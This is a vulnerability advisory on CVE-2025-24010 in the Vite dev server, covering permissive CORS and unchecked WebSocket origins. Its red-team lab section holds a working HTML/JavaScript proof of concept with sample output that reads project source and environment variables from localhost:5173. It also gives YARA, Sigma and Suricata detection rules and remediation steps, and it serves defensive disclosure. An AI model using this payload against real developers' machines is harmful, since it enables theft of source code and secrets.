CVE-2025-24010

Executive Summary

CVE-2025-24010 is a critical security vulnerability in Vite, a popular frontend tooling framework for JavaScript. The flaw allows any malicious website to send arbitrary requests to a Vite development server and read the response. This is due to overly permissive default CORS settings and a lack of validation on the Origin header for WebSocket connections. An attacker can exploit this to exfiltrate sensitive data, source code, or environment variables from a developer's machine running a Vite dev server. The vulnerability has been fixed in Vite versions 6.0.9, 5.4.12, and 4.5.6.

Supply Chain & Package Security

This vulnerability is particularly dangerous in the context of the JavaScript/Node.js supply chain. Vite is a widely used build tool and development server. If a developer visits a malicious website while their Vite dev server is running, the attacker can:

• Read the entire source code of the project.
• Access environment variables, including API keys and secrets.
• Read configuration files.
• Potentially inject malicious code into the build process.

This represents a significant supply chain risk, as a compromised developer environment can lead to the injection of backdoors into the final application.

CVSS Breakdown & Threat Level

CVSS Score: 6.5 (Medium) Vector: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N

• Attack Vector (AV): Network (N) - The attack can be launched remotely.
• Attack Complexity (AC): Low (L) - No special conditions are required.
• Privileges Required (PR): None (N) - No authentication needed.
• User Interaction (UI): None (N) - The victim does not need to click anything; simply visiting a malicious page is enough.
• Scope (S): Unchanged (U) - The vulnerable component and the attacker's target are the same.
• Confidentiality (C): High (H) - Complete disclosure of all files on the dev server.
• Integrity (I): None (N) - No data modification.
• Availability (A): None (N) - No denial of service.

Threat Level: High. While the CVSS score is Medium, the real-world impact is severe due to the ease of exploitation and the potential for complete source code and secret exfiltration. The EPSS score of 0.0% indicates low exploitation likelihood at the time of analysis, but this is expected to increase as PoC code circulates.

Deep Dive & Mechanics

The vulnerability stems from two misconfigurations in Vite's development server:

1. Permissive CORS Policy: By default, Vite's dev server sets the Access-Control-Allow-Origin header to * (or reflects the request origin without validation). This allows any website to make cross-origin requests to the dev server.

2. Lack of WebSocket Origin Validation: Vite uses WebSockets for Hot Module Replacement (HMR). The WebSocket handshake does not validate the Origin header. This allows a malicious website to establish a WebSocket connection to the dev server.

Attack Flow:

1. A developer runs vite on their local machine, starting the dev server on http://localhost:5173.
2. The developer visits a malicious website (e.g., http://evil.com).
3. The malicious website's JavaScript makes a fetch() request to http://localhost:5173 (or the dev server's IP).
4. Due to the permissive CORS policy, the browser allows the cross-origin request and the response is readable by the attacker's script.
5. The attacker can then read the response, which may contain the entire source code of the application, environment variables, or other sensitive files served by the dev server.
6. Alternatively, the attacker can open a WebSocket connection to ws://localhost:5173 and interact with the HMR system, potentially reading file changes in real-time.

Vulnerable vs. Patched Code

Vulnerable Code (Conceptual):

// Vite dev server configuration (simplified)
const server = http.createServer((req, res) => {
  // CORS: Reflects any origin
  res.setHeader('Access-Control-Allow-Origin', req.headers.origin);
  // ... serve files
});

// WebSocket server (simplified)
const wss = new WebSocket.Server({ server });
wss.on('connection', (ws, req) => {
  // No validation of req.headers.origin
  // ... handle HMR
});

Patched Code (Conceptual):

// Vite dev server configuration (simplified)
const allowedOrigins = ['http://localhost:5173', 'http://127.0.0.1:5173'];
const server = http.createServer((req, res) => {
  const origin = req.headers.origin;
  if (allowedOrigins.includes(origin)) {
    res.setHeader('Access-Control-Allow-Origin', origin);
  } else {
    res.setHeader('Access-Control-Allow-Origin', 'null');
  }
  // ... serve files
});

// WebSocket server (simplified)
const wss = new WebSocket.Server({ server });
wss.on('connection', (ws, req) => {
  const origin = req.headers.origin;
  if (!allowedOrigins.includes(origin)) {
    ws.close(1008, 'Origin not allowed');
    return;
  }
  // ... handle HMR
});

Exploitation & Lab Setup

Red Team (Exploitation)

Lab Setup:

1. Install a vulnerable version of Vite: npm install vite@5.4.11
2. Create a simple Vite project: npm create vite@latest test-vuln
3. Start the dev server: npx vite --host 0.0.0.0 (or just npx vite)
4. Note the dev server URL (e.g., http://localhost:5173).

Exploitation Steps:

1. Create an HTML file (exploit.html) with the following content:

   <!DOCTYPE html>
   <html>
   <head>
       <title>Vite Exploit PoC</title>
   </head>
   <body>
       <h1>Vite CVE-2025-24010 PoC</h1>
       <pre id="output"></pre>
       <script>
           const output = document.getElementById('output');
           const target = 'http://localhost:5173';
   
           async function exploit() {
               try {
                   // Attempt to read a file from the Vite dev server
                   const response = await fetch(`${target}/src/App.vue`);
                   const text = await response.text();
                   output.textContent += `[+] Successfully read /src/App.vue:\n${text}\n\n`;
               } catch (e) {
                   output.textContent += `[-] Error: ${e.message}\n`;
               }
   
               // Attempt to read environment variables (if exposed)
               try {
                   const response = await fetch(`${target}/@vite/env`);
                   const text = await response.text();
                   output.textContent += `[+] Environment variables:\n${text}\n`;
               } catch (e) {
                   output.textContent += `[-] Error reading env: ${e.message}\n`;
               }
           }
   
           exploit();
       </script>
   </body>
   </html>
   

2. Serve this HTML file from a different port (e.g., python3 -m http.server 9999).
3. Open http://localhost:9999/exploit.html in a browser while the Vite dev server is running.
4. The script will fetch files from the Vite dev server and display them.

Expected Output:

[+] Successfully read /src/App.vue:
<script setup>
import HelloWorld from './components/HelloWorld.vue'
</script>
...
[+] Environment variables:
{"VITE_SOME_KEY":"12345","NODE_ENV":"development"}

Blue Team (Detection & Response)

Detection:

1. Network Monitoring: Look for HTTP requests from external IPs to internal Vite dev server ports (typically 5173, 4173, 3000). The Origin header will be from an external domain.
2. Browser Logs: Monitor for Cross-Origin Request Blocked errors in browser developer consoles, which may indicate an attempted exploit.
3. Process Monitoring: Detect vite processes running with --host or --host 0.0.0.0 flags, which expose the server to the network.

Response:

1. Immediately stop the Vite dev server.
2. Rotate any secrets or API keys that may have been exposed.
3. Update Vite to a patched version (6.0.9, 5.4.12, or 4.5.6).
4. Review access logs for any suspicious requests.
5. Educate developers on the risks of running dev servers with default settings.

Indicators of Compromise (IOCs)

• Network:
  • HTTP requests to localhost:5173 or 127.0.0.1:5173 with an Origin header from an external domain.
  • WebSocket connections to ws://localhost:5173 or ws://127.0.0.1:5173 with an Origin header from an external domain.
  • Requests to paths like /src/, /@vite/env, /node_modules/, or any project file.
• File System:
  • Unexpected files in the project directory (e.g., exploit.html).
• Process:
  • Vite processes running with --host 0.0.0.0 or --host flags.

Detection Engineering

YARA Rule

rule CVE_2025_24010_Vite_Exploit {
    meta:
        description = "Detects exploit attempts for CVE-2025-24010 in Vite"
        author = "Valters IT"
        date = "2025-02-20"
        reference = "https://nvd.nist.gov/vuln/detail/CVE-2025-24010"
    strings:
        $s1 = "localhost:5173" nocase
        $s2 = "127.0.0.1:5173" nocase
        $s3 = "/@vite/env" nocase
        $s4 = "fetch(" nocase
        $s5 = "WebSocket(" nocase
    condition:
        any of ($s1, $s2) and any of ($s3, $s4, $s5)
}

Sigma Rule

title: CVE-2025-24010 Vite Dev Server Exploit Attempt
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects attempts to exploit CVE-2025-24010 by accessing Vite dev server from external origins.
author: Valters IT
date: 2025/02/20
references:
    - https://nvd.nist.gov/vuln/detail/CVE-2025-24010
logsource:
    category: webserver
    product: apache
    service: access_combined
detection:
    selection:
        cs-uri-query|contains:
            - '/src/'
            - '/@vite/'
            - '/node_modules/'
        cs-host|contains:
            - 'localhost'
            - '127.0.0.1'
        cs(User-Agent)|contains:
            - 'Mozilla'
            - 'Chrome'
            - 'Safari'
    condition: selection
falsepositives:
    - Legitimate development activity from localhost
level: high

Suricata Rule

alert http any any -> any 5173 (msg:"CVE-2025-24010 Vite Dev Server Exploit Attempt"; flow:to_server; content:"Origin"; http_header; pcre:"/Origin:\s*(?!https?:\/\/localhost)(?!https?:\/\/127\.0\.0\.1)/Hi"; classtype:attempted-recon; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Update Vite: Upgrade to version 6.0.9, 5.4.12, or 4.5.6 immediately.

   npm update vite
   # or
   npm install vite@latest
   

2. Restrict Dev Server Access: Do not use --host 0.0.0.0 unless absolutely necessary. If remote access is required, use a firewall or VPN.
3. Use HTTPS: Run the dev server with HTTPS to prevent man-in-the-middle attacks.

Long-Term Mitigations:

1. Network Segmentation: Ensure development environments are isolated from production networks.
2. Browser Security: Use browser extensions that block cross-origin requests to localhost.
3. Developer Training: Educate developers on the risks of running dev servers with default settings.
4. Regular Audits: Periodically review development server configurations for security misconfigurations.

Workaround (if patching is not immediately possible):

• Manually configure CORS in vite.config.js:

  export default {
    server: {
      cors: {
        origin: ['http://localhost:5173', 'http://127.0.0.1:5173'],
        methods: ['GET', 'POST'],
      },
      hmr: {
        clientPort: 5173,
      },
    },
  };
  

Valters IT
Securing the Digital Frontier